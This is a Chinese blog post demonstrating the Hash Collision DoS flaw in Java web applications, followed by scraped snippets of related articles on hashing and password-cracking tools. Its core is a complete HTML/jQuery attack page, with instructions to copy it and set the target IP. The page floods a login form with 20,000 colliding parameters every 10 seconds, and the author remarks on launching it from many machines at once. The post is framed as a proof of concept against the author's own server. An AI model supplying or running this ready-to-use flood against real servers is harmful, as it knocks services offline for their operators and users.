关于Hash Collision DoS漏洞:解析与解决方案
无意发现了这篇文章,觉得很有意思。
但是上面说的都是理论,感觉似懂非懂。
于是实践一把:做一个实例说明Hash Collision DoS漏洞是可行的。
因为大家都是java开发的,所以针对java web项目来做实例
构造一个有漏洞的服务程序
附件中有下载。
服务程序主要就是一个web project
添加spring 的MVC功能
然后提供一个登录的入口。
假如我们的web服务访问的地址是:http://192.168.1.20:8080/HashCollisionDoS
登录的入口是:http://192.168.1.20:8080/HashCollisionDoS/user/login
那么我们拥有访问登录入口的权限,我们才可以构造一大堆Hash Collision数据提交给漏洞服务器。
如何构造N多的Hash Collision数据
0(Aa) 1(BB)
-----------------
01 10
-----------------
0101 0110 1001 1010
-------------------------------------------
01010101 01010110 01011001 01011010 ...
.....................
..........................
得到N多0和1的组合,最后把0替换成Aa,把1替换成BB。
利用参数 var a =[0,1] 调用下面函数就可以得到我们想要的数据
function combination(a)
{
var res=[];
for(var i = 0; i < a.length; i++ )
{
var item=a[i];
for(var j = 0; j < a.length; j++)
{
res.push(item+""+a[j]);
}
}
return res;
}
如何提交请求到服务器
把下面的代码拷贝到本地,下载jquery-1.5.1.js并存放在同一目录
修改服务的IP地址。
最好使用火狐打开html,每隔10秒钟会自动提交一次数据。
代码如下
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="UTF-8">
<html>
<head>
<title>login</title>
<script type="text/javascript" src="jquery-1.5.1.js"></script>
<script type="text/javascript">
function combination(a)
{
var res=[];
for(var i = 0; i < a.length; i++ )
{
var item=a[i];
for(var j = 0; j < a.length; j++)
{
res.push(item+""+a[j]);
}
}
return res;
}
function submitreq()
{
var a = [0, 1];
var ret;
var myform=document.forms[0];
var action=myform.action;
for(var i = 0; i < 4; i++ )
{
a=combination(a);
}
//一次提交20000个参数,如果你的机器性能还可以改大点
for(var j = 0; j < 20000; j++)
{
var temp=a[j];
temp=temp.replace(/0/g,'Aa').replace(/1/g,'BB');
//ret+=temp+"="+j+"&";
$("#UName").after("<input type=\"hidden\" name=\""+temp+"\" value=\"\">");
}
//myform.action=action+"?"+ret;
myform.submit();
}
//每10秒钟执行一次
window.setInterval("submitreq()", 10000);
</script>
</head>
<body>
<form action="http://192.168.1.20:8080/spring3/user/login" method="post">
name:
<input name="name" id="UName">
<br />
password:
<input type="password" name="password">
<br />
<input type="button" value="login" onclick="submitreq()" />
</form>
</body>
</html>
测试结果
从下图可以看出:每次请求2W hash Collision 数据,CPU的使用率达到60%-80%,持续十几秒
假如并发多台机器请求,可以想象什么情况。
所以得出结论:Hash Collision DoS漏洞确实可行,而且可行性相当高,因为java应用无处不存在表单请求的情况,只要得到了任何一个后台表单的访问权限就可以使用Hash Collision DoS漏洞。
结果图
附件说明:
hash_dos_html.rar html页面代码和jquery源码
HashCollisionDoS.rar web project 源代码
- 大小: 17.1 KB
分享到:
相关推荐
Java实现的Hash Collision DoS Attack
【警惕Hash Collision Dos】这篇文档主要讨论了一种名为“Hash Collision Dos”的网络安全威胁,这种攻击方式利用了哈希表(HashTable)的冲突特性对Web服务器进行拒绝服务(Denial of Service,DoS)攻击。...
代码重点是hash_table,附加std::map与其做对比,实现的是一条sql语句:select c_nationkey, c_mktsegment, count(*), max(c_acctbal) from aaa_customer_1g group by c_nationkey, c_mktsegment order by c_...
$suffix) == '0' 这个特性可以在各种签名验证算法中被利用,这个工具是为了漏洞演示而编写的,不需要发送大量的web请求。 用 g++ 或 clang++ 编译它(由于某些错误,某些 g++ 版本无法编译它)。 FROM_CHAR 和 TO_...
哈希(Hash)算法在信息技术领域中扮演着重要的角色,特别是在数据存储、验证、搜索以及安全加密等方面。本文将深入探讨哈希算法的基本概念、工作原理,并结合VC++编程环境,解析如何在实际项目中应用哈希算法。提供...
它可以使用PBKDF2 hmac SHA1 ...下载Maven: < dependency> < groupId>com.amdelamar</ groupId> < artifactId>jhash</ artifactId> < version>2.2.0</ version></ dependency> Gradle: dependencies { compile ' ...
RS-Hash Function Value: " + ghl.RSHash(key)); System.out.println(" 2. JS-Hash Function Value: " + ghl.JSHash(key)); System.out.println(" 3. PJW-Hash Function Value: " + ghl.PJWHash(key)); System....
在计算机科学中,哈希(Hash)函数是一种用于将任意长度的数据映射为固定长度输出的算法。这种输出通常称为哈希值,它在数据结构(如哈希表)、密码学、数字签名等领域有着广泛的应用。本文将对几种常见的字符串哈希...
SAS Hash 简介与实例 SAS 中的 Hash 表是一种高效的数据存储和检索方式,特别是在处理大规模数据时。Hash 表可以快速地进行查找、添加、删除等操作。SAS 提供了两种方法来处理 Hash 表,即 Hash 和 Hiter。 Hash ...
PHP Hash DoS漏洞示范运行time php scripts/exploited.php < example>/dev/null 。 该脚本仅读取JSON文件并将其打印出来。 如果您想要一个较小的文件,只需运行perl scripts/minimize.pl 65536 < example>test.json...
根据给定的文件信息,我们可以总结出以下关于 Hash 函数在 C 语言中的实现与应用的知识点: ### 1. Hash 函数的概念 哈希函数(Hash Function)是一种将任意长度的消息映射到固定长度的消息摘要的一种算法。这种...
MurmurHash3.js-JavaScript中的 。 用法 > const murmurHash3 = require ( 'murmurhash3.js' ) ; // Return a 32bit hash as an unsigned integer: > murmurHash3 . x86 . hash32 ( "I will not buy this record, it...
Hash 函数的特点是确定性、不可逆性和 collision-resistance, Hash 函数的应用非常广泛,例如数字签名、身份验证和数据完整性检查等。 在 Cryptography Theory and Practice(Stinson)一书中,作者对 Hash 函数...
在Hashcat诞生之前已经有一些近乎完美的密码破解工具,例如“PasswordsPro”、“John The Ripper”,2009年出世的Hashcat则实现了对于现代CPU多内核的利用。 Hashcat在操作系统上支持Windows 7/8/10、Apple OS X ...
:right_arrow: | :left_arrow: 现代哈希识别系统pip3 install name-that-hash && nth :thinking_face: 这是什么? 您是否遇到过像5f4dcc3b5aa765d61d8327deb882cf99这样的哈希,并且想知道这是什么类型的哈希? :...
莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...
结合现代Web开发框架,`geohash`可以无缝融入各种地理位置相关的应用场景,如社交网络的“附近的人”功能、本地搜索服务以及地图应用等。在处理大量地理位置数据时,`geohash`的效率优势尤为明显,极大地优化了性能...
#### 三、简单的Hash函数实例 本章节介绍了两种简单但不够安全的Hash函数示例,以帮助理解设计安全Hash函数时需考虑的关键因素。 1. **简单的奇偶校验Hash函数** - 这种方法将输入数据分组,对每个分组的相应位...
hashcat is the world’s fastest and most advanced password recovery tool. This version combines the previous CPU-based hashcat (now called hashcat-legacy) and GPU-based oclHashcat. Hashcat is ...